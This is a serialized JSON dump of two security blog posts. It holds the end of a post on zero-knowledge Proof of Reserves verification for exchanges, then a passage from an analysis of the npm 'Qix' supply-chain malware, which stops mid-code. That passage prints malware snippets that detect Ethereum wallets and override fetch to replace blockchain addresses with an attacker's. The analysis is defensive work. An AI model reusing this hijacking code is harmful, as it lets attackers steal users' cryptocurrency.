valid.)",{"type":21,"tag":845,"props":97294,"children":97295},{},[97296,97298,97304,97306,97311,97312,97317],{"type":26,"value":97297},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":21,"tag":66,"props":97299,"children":97301},{"className":97300},[],[97302],{"type":26,"value":97303},"merkle_tree_hash",{"type":26,"value":97305}," public input. This ensures that the ",{"type":21,"tag":66,"props":97307,"children":97309},{"className":97308},[],[97310],{"type":26,"value":97202},{"type":26,"value":11408},{"type":21,"tag":66,"props":97313,"children":97315},{"className":97314},[],[97316],{"type":26,"value":97209},{"type":26,"value":97318}," are linked (they belong to the same global proof).",{"type":21,"tag":845,"props":97320,"children":97321},{},[97322],{"type":26,"value":97323},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":21,"tag":22,"props":97325,"children":97326},{},[97327],{"type":21,"tag":873,"props":97328,"children":97329},{},[97330],{"type":26,"value":97331},"Inclusion Proof",{"type":21,"tag":22,"props":97333,"children":97334},{},[97335,97337,97342,97344,97349],{"type":26,"value":97336},"To verify the inclusion proof, the code deserializes the ",{"type":21,"tag":66,"props":97338,"children":97340},{"className":97339},[],[97341],{"type":26,"value":97234},{"type":26,"value":97343}," file and also the ",{"type":21,"tag":66,"props":97345,"children":97347},{"className":97346},[],[97348],{"type":26,"value":97209},{"type":26,"value":97350},". After that, it performs these checks:",{"type":21,"tag":841,"props":97352,"children":97353},{},[97354,97358,97363,97368],{"type":21,"tag":845,"props":97355,"children":97356},{},[97357],{"type":26,"value":97287},{"type":21,"tag":845,"props":97359,"children":97360},{},[97361],{"type":26,"value":97362},"Verify if the Merkle tree root is the same as in the final proof.",{"type":21,"tag":845,"props":97364,"children":97365},{},[97366],{"type":26,"value":97367},"Recalculate the user-related node leaf hash.",{"type":21,"tag":845,"props":97369,"children":97370},{},[97371],{"type":26,"value":97372},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":21,"tag":54,"props":97374,"children":97376},{"id":97375},"por-verifier-server",[97377],{"type":26,"value":97378},"PoR Verifier Server",{"type":21,"tag":22,"props":97380,"children":97381},{},[97382,97384,97390],{"type":26,"value":97383},"To automate the verification process, we created a ",{"type":21,"tag":335,"props":97385,"children":97387},{"href":93020,"rel":97386},[339],[97388],{"type":26,"value":97389},"verifier server",{"type":26,"value":97391}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":21,"tag":22,"props":97393,"children":97394},{},[97395],{"type":26,"value":97396},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":21,"tag":22,"props":97398,"children":97399},{},[97400],{"type":21,"tag":4681,"props":97401,"children":97403},{"alt":51034,"src":97402},"/posts/por/backpack-por.png",[],{"type":21,"tag":22,"props":97405,"children":97406},{},[97407],{"type":26,"value":97408},"Here is a breakdown of what fields represent and why they are required:",{"type":21,"tag":17108,"props":97410,"children":97411},{},[97412,97422,97432,97442,97452,97462],{"type":21,"tag":845,"props":97413,"children":97414},{},[97415,97420],{"type":21,"tag":873,"props":97416,"children":97417},{},[97418],{"type":26,"value":97419},"Status",{"type":26,"value":97421}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":21,"tag":845,"props":97423,"children":97424},{},[97425,97430],{"type":21,"tag":873,"props":97426,"children":97427},{},[97428],{"type":26,"value":97429},"Proof Timestamp",{"type":26,"value":97431}," --> when the proof was generated by the exchange.",{"type":21,"tag":845,"props":97433,"children":97434},{},[97435,97440],{"type":21,"tag":873,"props":97436,"children":97437},{},[97438],{"type":26,"value":97439},"Verify Timestamp",{"type":26,"value":97441}," --> when the proof was verified by the PoR server.",{"type":21,"tag":845,"props":97443,"children":97444},{},[97445,97450],{"type":21,"tag":873,"props":97446,"children":97447},{},[97448],{"type":26,"value":97449},"Proof File URL",{"type":26,"value":97451}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":21,"tag":845,"props":97453,"children":97454},{},[97455,97460],{"type":21,"tag":873,"props":97456,"children":97457},{},[97458],{"type":26,"value":97459},"Prover Version",{"type":26,"value":97461}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":21,"tag":845,"props":97463,"children":97464},{},[97465,97470],{"type":21,"tag":873,"props":97466,"children":97467},{},[97468],{"type":26,"value":97469},"File Hash (SHA256)",{"type":26,"value":97471}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":21,"tag":22,"props":97473,"children":97474},{},[97475],{"type":26,"value":97476},"Also, you can check the exchange's liabilities on the website:",{"type":21,"tag":22,"props":97478,"children":97479},{},[97480],{"type":21,"tag":4681,"props":97481,"children":97483},{"alt":51034,"src":97482},"/posts/por/backpack-por-liabilities.png",[],{"type":21,"tag":22,"props":97485,"children":97486},{},[97487,97489,97495,97497,97503],{"type":26,"value":97488},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":21,"tag":335,"props":97490,"children":97493},{"href":97491,"rel":97492},"https://backpack.exchange/reserves",[339],[97494],{"type":26,"value":97491},{"type":26,"value":97496}," and our verifier server for backpack at ",{"type":21,"tag":335,"props":97498,"children":97501},{"href":97499,"rel":97500},"https://backpack-por.osec.io/",[339],[97502],{"type":26,"value":97499},{"type":26,"value":73},{"type":21,"tag":54,"props":97505,"children":97507},{"id":97506},"self-verification",[97508],{"type":26,"value":97509},"Self-verification",{"type":21,"tag":22,"props":97511,"children":97512},{},[97513],{"type":26,"value":97514},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":21,"tag":10022,"props":97516,"children":97518},{"id":97517},"how-to-verify-if-i-was-included",[97519],{"type":26,"value":97520},"How to verify if I was included?",{"type":21,"tag":22,"props":97522,"children":97523},{},[97524],{"type":26,"value":97525},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":21,"tag":841,"props":97527,"children":97528},{},[97529,97540,97558],{"type":21,"tag":845,"props":97530,"children":97531},{},[97532,97539],{"type":21,"tag":335,"props":97533,"children":97536},{"href":97534,"rel":97535},"https://github.com/otter-sec/por_v2/releases",[339],[97537],{"type":26,"value":97538},"Download the PoRv2 executable from our github",{"type":26,"value":73},{"type":21,"tag":845,"props":97541,"children":97542},{},[97543,97545,97550,97551,97556],{"type":26,"value":97544},"Download the inclusion and the final proof files from the exchange (",{"type":21,"tag":66,"props":97546,"children":97548},{"className":97547},[],[97549],{"type":26,"value":97234},{"type":26,"value":11408},{"type":21,"tag":66,"props":97552,"children":97554},{"className":97553},[],[97555],{"type":26,"value":97209},{"type":26,"value":97557},") and put the files in the same directory as the PoRv2 app.",{"type":21,"tag":845,"props":97559,"children":97560},{},[97561,97563,97569],{"type":26,"value":97562},"Open the terminal and execute this: ",{"type":21,"tag":66,"props":97564,"children":97566},{"className":97565},[],[97567],{"type":26,"value":97568},"./plonky2_por verify-inclusion",{"type":26,"value":73},{"type":21,"tag":22,"props":97571,"children":97572},{},[97573],{"type":26,"value":97574},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":21,"tag":75,"props":97576,"children":97578},{"code":97577},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[97579],{"type":21,"tag":66,"props":97580,"children":97581},{"__ignoreMap":7},[97582],{"type":26,"value":97577},{"type":21,"tag":10022,"props":97584,"children":97586},{"id":97585},"how-can-i-verify-the-global-proof",[97587],{"type":26,"value":97588},"How can I verify the global proof?",{"type":21,"tag":22,"props":97590,"children":97591},{},[97592],{"type":26,"value":97593},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":21,"tag":841,"props":97595,"children":97596},{},[97597,97606,97624],{"type":21,"tag":845,"props":97598,"children":97599},{},[97600,97605],{"type":21,"tag":335,"props":97601,"children":97603},{"href":97534,"rel":97602},[339],[97604],{"type":26,"value":97538},{"type":26,"value":73},{"type":21,"tag":845,"props":97607,"children":97608},{},[97609,97611,97616,97617,97622],{"type":26,"value":97610},"Download the ",{"type":21,"tag":66,"props":97612,"children":97614},{"className":97613},[],[97615],{"type":26,"value":97202},{"type":26,"value":37998},{"type":21,"tag":66,"props":97618,"children":97620},{"className":97619},[],[97621],{"type":26,"value":97209},{"type":26,"value":97623}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":21,"tag":845,"props":97625,"children":97626},{},[97627,97629,97634],{"type":26,"value":97628},"Open the terminal and execute ",{"type":21,"tag":66,"props":97630,"children":97632},{"className":97631},[],[97633],{"type":26,"value":97568},{"type":26,"value":97635},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":21,"tag":22,"props":97637,"children":97638},{},[97639],{"type":26,"value":97640},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":21,"tag":75,"props":97642,"children":97644},{"code":97643},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[97645],{"type":21,"tag":66,"props":97646,"children":97647},{"__ignoreMap":7},[97648],{"type":26,"value":97643},{"type":21,"tag":22,"props":97650,"children":97651},{},[97652],{"type":26,"value":97653},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":21,"tag":75,"props":97655,"children":97657},{"code":97656},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[97658],{"type":21,"tag":66,"props":97659,"children":97660},{"__ignoreMap":7},[97661],{"type":26,"value":97656},{"type":21,"tag":54,"props":97663,"children":97664},{"id":29375},[97665],{"type":26,"value":19373},{"type":21,"tag":22,"props":97667,"children":97668},{},[97669],{"type":26,"value":97670},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":21,"tag":22,"props":97672,"children":97673},{},[97674,97676,97682],{"type":26,"value":97675},"We are currently working with Backpack to implement this algorithm ",{"type":21,"tag":335,"props":97677,"children":97679},{"href":97491,"rel":97678},[339],[97680],{"type":26,"value":97681},"in production",{"type":26,"value":97683}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":21,"tag":22,"props":97685,"children":97686},{},[97687,97689,97696],{"type":26,"value":97688},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":21,"tag":335,"props":97690,"children":97693},{"href":97691,"rel":97692},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[339],[97694],{"type":26,"value":97695},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":26,"value":73},{"title":7,"searchDepth":98,"depth":98,"links":97698},[97699,97700,97701,97702,97705,97710,97714,97715,97719],{"id":92948,"depth":98,"text":92951},{"id":93029,"depth":98,"text":93032},{"id":93099,"depth":98,"text":93102},{"id":93153,"depth":98,"text":93156,"children":97703},[97704],{"id":93232,"depth":151,"text":93235},{"id":93320,"depth":98,"text":93323,"children":97706},[97707,97708,97709],{"id":93393,"depth":151,"text":93396},{"id":93865,"depth":151,"text":93868},{"id":95604,"depth":151,"text":95607},{"id":97183,"depth":98,"text":97186,"children":97711},[97712,97713],{"id":9694,"depth":151,"text":97191},{"id":97245,"depth":151,"text":97248},{"id":97375,"depth":98,"text":97378},{"id":97506,"depth":98,"text":97509,"children":97716},[97717,97718],{"id":97517,"depth":151,"text":97520},{"id":97585,"depth":151,"text":97588},{"id":29375,"depth":98,"text":19373},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":97724,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97725,"description":97726,"date":97727,"author":31645,"image":97728,"isFeatured":16,"onBlogPage":16,"tags":97731,"body":97734,"_type":3642,"_id":100160,"_source":3644,"_file":100161,"_stem":100162,"_extension":3647},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":97729,"width":97730,"height":14041},"/posts/supply-chain-attcks/title.png",1536,[97732,97733],"npm","supply-chain",{"type":18,"children":97735,"toc":100143},[97736,97749,97754,97759,97765,97770,97778,98108,98116,98679,98687,99394,99400,99405,99411,99416,99421,99427,99432,99444,99449,99475,99562,99574,99599,99615,99620,99625,99831,99873,99878,99890,99896,99908,99950,99963,100043,100055,100068,100075,100086,100094,100100,100113,100118,100122,100127,100139],{"type":21,"tag":22,"props":97737,"children":97738},{},[97739,97741,97747],{"type":26,"value":97740},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":21,"tag":66,"props":97742,"children":97744},{"className":97743},[],[97745],{"type":26,"value":97746},"chalk",{"type":26,"value":97748},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":21,"tag":22,"props":97750,"children":97751},{},[97752],{"type":26,"value":97753},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":21,"tag":22,"props":97755,"children":97756},{},[97757],{"type":26,"value":97758},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":21,"tag":54,"props":97760,"children":97762},{"id":97761},"qix-malware-how-it-worked",[97763],{"type":26,"value":97764},"Qix Malware: How It Worked",{"type":21,"tag":22,"props":97766,"children":97767},{},[97768],{"type":26,"value":97769},"The attacker published modified versions of packages with code designed to do three things:",{"type":21,"tag":841,"props":97771,"children":97772},{},[97773],{"type":21,"tag":845,"props":97774,"children":97775},{},[97776],{"type":26,"value":97777},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":21,"tag":75,"props":97779,"children":97781},{"code":97780,"language":31810,"meta":7,"className":31808,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[97782],{"type":21,"tag":66,"props":97783,"children":97784},{"__ignoreMap":7},[97785,97805,97817,97861,97878,97885,97921,97933,97961,97981,98001,98013,98020,98055,98075,98087,98094,98101],{"type":21,"tag":85,"props":97786,"children":97787},{"class":87,"line":88},[97788,97792,97796,97801],{"type":21,"tag":85,"props":97789,"children":97790},{"style":102},[97791],{"type":26,"value":36593},{"type":21,"tag":85,"props":97793,"children":97794},{"style":102},[97795],{"type":26,"value":38662},{"type":21,"tag":85,"props":97797,"children":97798},{"style":1021},[97799],{"type":26,"value":97800}," checkethereumw",{"type":21,"tag":85,"props":97802,"children":97803},{"style":114},[97804],{"type":26,"value":16156},{"type":21,"tag":85,"props":97806,"children":97807},{"class":87,"line":98},[97808,97813],{"type":21,"tag":85,"props":97809,"children":97810},{"style":2885},[97811],{"type":26,"value":97812},"  try",{"type":21,"tag":85,"props":97814,"children":97815},{"style":114},[97816],{"type":26,"value":148},{"type":21,"tag":85,"props":97818,"children":97819},{"class":87,"line":151},[97820,97824,97829,97833,97837,97841,97845,97849,97853,97857],{"type":21,"tag":85,"props":97821,"children":97822},{"style":102},[97823],{"type":26,"value":52124},{"type":21,"tag":85,"props":97825,"children":97826},{"style":120},[97827],{"type":26,"value":97828}," _0x124ed3",{"type":21,"tag":85,"props":97830,"children":97831},{"style":169},[97832],{"type":26,"value":1941},{"type":21,"tag":85,"props":97834,"children":97835},{"style":2885},[97836],{"type":26,"value":36659},{"type":21,"tag":85,"props":97838,"children":97839},{"style":120},[97840],{"type":26,"value":31853},{"type":21,"tag":85,"props":97842,"children":97843},{"style":114},[97844],{"type":26,"value":73},{"type":21,"tag":85,"props":97846,"children":97847},{"style":120},[97848],{"type":26,"value":31862},{"type":21,"tag":85,"props":97850,"children":97851},{"style":114},[97852],{"type":26,"value":73},{"type":21,"tag":85,"props":97854,"children":97855},{"style":1021},[97856],{"type":26,"value":31938},{"type":21,"tag":85,"props":97858,"children":97859},{"style":114},[97860],{"type":26,"value":15559},{"type":21,"tag":85,"props":97862,"children":97863},{"class":87,"line":160},[97864,97869,97873],{"type":21,"tag":85,"props":97865,"children":97866},{"style":5026},[97867],{"type":26,"value":97868},"      'method'",{"type":21,"tag":85,"props":97870,"children":97871},{"style":120},[97872],{"type":26,"value":172},{"type":21,"tag":85,"props":97874,"children":97875},{"style":5026},[97876],{"type":26,"value":97877}," \"eth_accounts\"\n",{"type":21,"tag":85,"props":97879,"children":97880},{"class":87,"line":185},[97881],{"type":21,"tag":85,"props":97882,"children":97883},{"style":114},[97884],{"type":26,"value":32702},{"type":21,"tag":85,"props":97886,"children":97887},{"class":87,"line":501},[97888,97892,97896,97901,97905,97909,97913,97917],{"type":21,"tag":85,"props":97889,"children":97890},{"style":2885},[97891],{"type":26,"value":12696},{"type":21,"tag":85,"props":97893,"children":97894},{"style":114},[97895],{"type":26,"value":717},{"type":21,"tag":85,"props":97897,"children":97898},{"style":120},[97899],{"type":26,"value":97900},"_0x124ed3",{"type":21,"tag":85,"props":97902,"children":97903},{"style":114},[97904],{"type":26,"value":73},{"type":21,"tag":85,"props":97906,"children":97907},{"style":120},[97908],{"type":26,"value":2863},{"type":21,"tag":85,"props":97910,"children":97911},{"style":169},[97912],{"type":26,"value":14612},{"type":21,"tag":85,"props":97914,"children":97915},{"style":2285},[97916],{"type":26,"value":2830},{"type":21,"tag":85,"props":97918,"children":97919},{"style":114},[97920],{"type":26,"value":15222},{"type":21,"tag":85,"props":97922,"children":97923},{"class":87,"line":697},[97924,97929],{"type":21,"tag":85,"props":97925,"children":97926},{"style":1021},[97927],{"type":26,"value":97928},"      runmask",{"type":21,"tag":85,"props":97930,"children":97931},{"style":114},[97932],{"type":26,"value":4437},{"type":21,"tag":85,"props":97934,"children":97935},{"class":87,"line":706},[97936,97940,97944,97949,97953,97957],{"type":21,"tag":85,"props":97937,"children":97938},{"style":2885},[97939],{"type":26,"value":39735},{"type":21,"tag":85,"props":97941,"children":97942},{"style":114},[97943],{"type":26,"value":717},{"type":21,"tag":85,"props":97945,"children":97946},{"style":120},[97947],{"type":26,"value":97948},"rund",{"type":21,"tag":85,"props":97950,"children":97951},{"style":169},[97952],{"type":26,"value":64845},{"type":21,"tag":85,"props":97954,"children":97955},{"style":2285},[97956],{"type":26,"value":3279},{"type":21,"tag":85,"props":97958,"children":97959},{"style":114},[97960],{"type":26,"value":15222},{"type":21,"tag":85,"props":97962,"children":97963},{"class":87,"line":1100},[97964,97969,97973,97977],{"type":21,"tag":85,"props":97965,"children":97966},{"style":120},[97967],{"type":26,"value":97968},"        rund",{"type":21,"tag":85,"props":97970,"children":97971},{"style":169},[97972],{"type":26,"value":1941},{"type":21,"tag":85,"props":97974,"children":97975},{"style":2285},[97976],{"type":26,"value":3279},{"type":21,"tag":85,"props":97978,"children":97979},{"style":114},[97980],{"type":26,"value":2535},{"type":21,"tag":85,"props":97982,"children":97983},{"class":87,"line":1339},[97984,97989,97993,97997],{"type":21,"tag":85,"props":97985,"children":97986},{"style":120},[97987],{"type":26,"value":97988},"        neth",{"type":21,"tag":85,"props":97990,"children":97991},{"style":169},[97992],{"type":26,"value":1941},{"type":21,"tag":85,"props":97994,"children":97995},{"style":2285},[97996],{"type":26,"value":3279},{"type":21,"tag":85,"props":97998,"children":97999},{"style":114},[98000],{"type":26,"value":2535},{"type":21,"tag":85,"props":98002,"children":98003},{"class":87,"line":1348},[98004,98009],{"type":21,"tag":85,"props":98005,"children":98006},{"style":1021},[98007],{"type":26,"value":98008},"        newdlocal",{"type":21,"tag":85,"props":98010,"children":98011},{"style":114},[98012],{"type":26,"value":4437},{"type":21,"tag":85,"props":98014,"children":98015},{"class":87,"line":1386},[98016],{"type":21,"tag":85,"props":98017,"children":98018},{"style":114},[98019],{"type":26,"value":13081},{"type":21,"tag":85,"props":98021,"children":98022},{"class":87,"line":1394},[98023,98027,98031,98035,98039,98043,98047,98051],{"type":21,"tag":85,"props":98024,"children":98025},{"style":114},[98026],{"type":26,"value":16199},{"type":21,"tag":85,"props":98028,"children":98029},{"style":2885},[98030],{"type":26,"value":4086},{"type":21,"tag":85,"props":98032,"children":98033},{"style":2885},[98034],{"type":26,"value":16208},{"type":21,"tag":85,"props":98036,"children":98037},{"style":114},[98038],{"type":26,"value":717},{"type":21,"tag":85,"props":98040,"children":98041},{"style":120},[98042],{"type":26,"value":97948},{"type":21,"tag":85,"props":98044,"children":98045},{"style":169},[98046],{"type":26,"value":64845},{"type":21,"tag":85,"props":98048,"children":98049},{"style":2285},[98050],{"type":26,"value":3279},{"type":21,"tag":85,"props":98052,"children":98053},{"style":114},[98054],{"type":26,"value":15222},{"type":21,"tag":85,"props":98056,"children":98057},{"class":87,"line":1402},[98058,98063,98067,98071],{"type":21,"tag":85,"props":98059,"children":98060},{"style":120},[98061],{"type":26,"value":98062},"      rund",{"type":21,"tag":85,"props":98064,"children":98065},{"style":169},[98066],{"type":26,"value":1941},{"type":21,"tag":85,"props":98068,"children":98069},{"style":2285},[98070],{"type":26,"value":3279},{"type":21,"tag":85,"props":98072,"children":98073},{"style":114},[98074],{"type":26,"value":2535},{"type":21,"tag":85,"props":98076,"children":98077},{"class":87,"line":3145},[98078,98083],{"type":21,"tag":85,"props":98079,"children":98080},{"style":1021},[98081],{"type":26,"value":98082},"      newdlocal",{"type":21,"tag":85,"props":98084,"children":98085},{"style":114},[98086],{"type":26,"value":4437},{"type":21,"tag":85,"props":98088,"children":98089},{"class":87,"line":3246},[98090],{"type":21,"tag":85,"props":98091,"children":98092},{"style":114},[98093],{"type":26,"value":507},{"type":21,"tag":85,"props":98095,"children":98096},{"class":87,"line":3255},[98097],{"type":21,"tag":85,"props":98098,"children":98099},{"style":114},[98100],{"type":26,"value":191},{"type":21,"tag":85,"props":98102,"children":98103},{"class":87,"line":3286},[98104],{"type":21,"tag":85,"props":98105,"children":98106},{"style":114},[98107],{"type":26,"value":2671},{"type":21,"tag":841,"props":98109,"children":98110},{"start":98},[98111],{"type":21,"tag":845,"props":98112,"children":98113},{},[98114],{"type":26,"value":98115},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":21,"tag":75,"props":98117,"children":98119},{"code":98118,"language":31810,"meta":7,"className":31808,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[98120],{"type":21,"tag":66,"props":98121,"children":98122},{"__ignoreMap":7},[98123,98158,98215,98277,98292,98329,98368,98383,98422,98429,98462,98478,98537,98575,98600,98625,98649,98657,98672],{"type":21,"tag":85,"props":98124,"children":98125},{"class":87,"line":88},[98126,98130,98134,98138,98142,98146,98150,98154],{"type":21,"tag":85,"props":98127,"children":98128},{"style":1021},[98129],{"type":26,"value":34541},{"type":21,"tag":85,"props":98131,"children":98132},{"style":169},[98133],{"type":26,"value":1941},{"type":21,"tag":85,"props":98135,"children":98136},{"style":102},[98137],{"type":26,"value":36813},{"type":21,"tag":85,"props":98139,"children":98140},{"style":102},[98141],{"type":26,"value":38662},{"type":21,"tag":85,"props":98143,"children":98144},{"style":114},[98145],{"type":26,"value":717},{"type":21,"tag":85,"props":98147,"children":98148},{"style":169},[98149],{"type":26,"value":10004},{"type":21,"tag":85,"props":98151,"children":98152},{"style":120},[98153],{"type":26,"value":38676},{"type":21,"tag":85,"props":98155,"children":98156},{"style":114},[98157],{"type":26,"value":15222},{"type":21,"tag":85,"props":98159,"children":98160},{"class":87,"line":98},[98161,98165,98170,98174,98178,98183,98187,98191,98195,98199,98203,98207,98211],{"type":21,"tag":85,"props":98162,"children":98163},{"style":102},[98164],{"type":26,"value":36636},{"type":21,"tag":85,"props":98166,"children":98167},{"style":120},[98168],{"type":26,"value":98169}," originalResponse",{"type":21,"tag":85,"props":98171,"children":98172},{"style":169},[98173],{"type":26,"value":1941},{"type":21,"tag":85,"props":98175,"children":98176},{"style":2885},[98177],{"type":26,"value":36659},{"type":21,"tag":85,"props":98179,"children":98180},{"style":120},[98181],{"type":26,"value":98182}," originalFetch",{"type":21,"tag":85,"props":98184,"children":98185},{"style":114},[98186],{"type":26,"value":73},{"type":21,"tag":85,"props":98188,"children":98189},{"style":1021},[98190],{"type":26,"value":38744},{"type":21,"tag":85,"props":98192,"children":98193},{"style":114},[98194],{"type":26,"value":1439},{"type":21,"tag":85,"props":98196,"children":98197},{"style":102},[98198],{"type":26,"value":18116},{"type":21,"tag":85,"props":98200,"children":98201},{"style":114},[98202],{"type":26,"value":256},{"type":21,"tag":85,"props":98204,"children":98205},{"style":169},[98206],{"type":26,"value":10004},{"type":21,"tag":85,"props":98208,"children":98209},{"style":120},[98210],{"type":26,"value":38676},{"type":21,"tag":85,"props":98212,"children":98213},{"style":114},[98214],{"type":26,"value":777},{"type":21,"tag":85,"props":98216,"children":98217},{"class":87,"line":151},[98218,98222,98227,98231,98235,98239,98244,98248,98252,98256,98261,98265,98269,98273],{"type":21,"tag":85,"props":98219,"children":98220},{"style":102},[98221],{"type":26,"value":36636},{"type":21,"tag":85,"props":98223,"children":98224},{"style":120},[98225],{"type":26,"value":98226}," contentType",{"type":21,"tag":85,"props":98228,"children":98229},{"style":169},[98230],{"type":26,"value":1941},{"type":21,"tag":85,"props":98232,"children":98233},{"style":120},[98234],{"type":26,"value":98169},{"type":21,"tag":85,"props":98236,"children":98237},{"style":114},[98238],{"type":26,"value":73},{"type":21,"tag":85,"props":98240,"children":98241},{"style":120},[98242],{"type":26,"value":98243},"headers",{"type":21,"tag":85,"props":98245,"children":98246},{"style":114},[98247],{"type":26,"value":73},{"type":21,"tag":85,"props":98249,"children":98250},{"style":1021},[98251],{"type":26,"value":16772},{"type":21,"tag":85,"props":98253,"children":98254},{"style":114},[98255],{"type":26,"value":1439},{"type":21,"tag":85,"props":98257,"children":98258},{"style":5026},[98259],{"type":26,"value":98260},"'Content-Type'",{"type":21,"tag":85,"props":98262,"children":98263},{"style":114},[98264],{"type":26,"value":736},{"type":21,"tag":85,"props":98266,"children":98267},{"style":169},[98268],{"type":26,"value":22847},{"type":21,"tag":85,"props":98270,"children":98271},{"style":5026},[98272],{"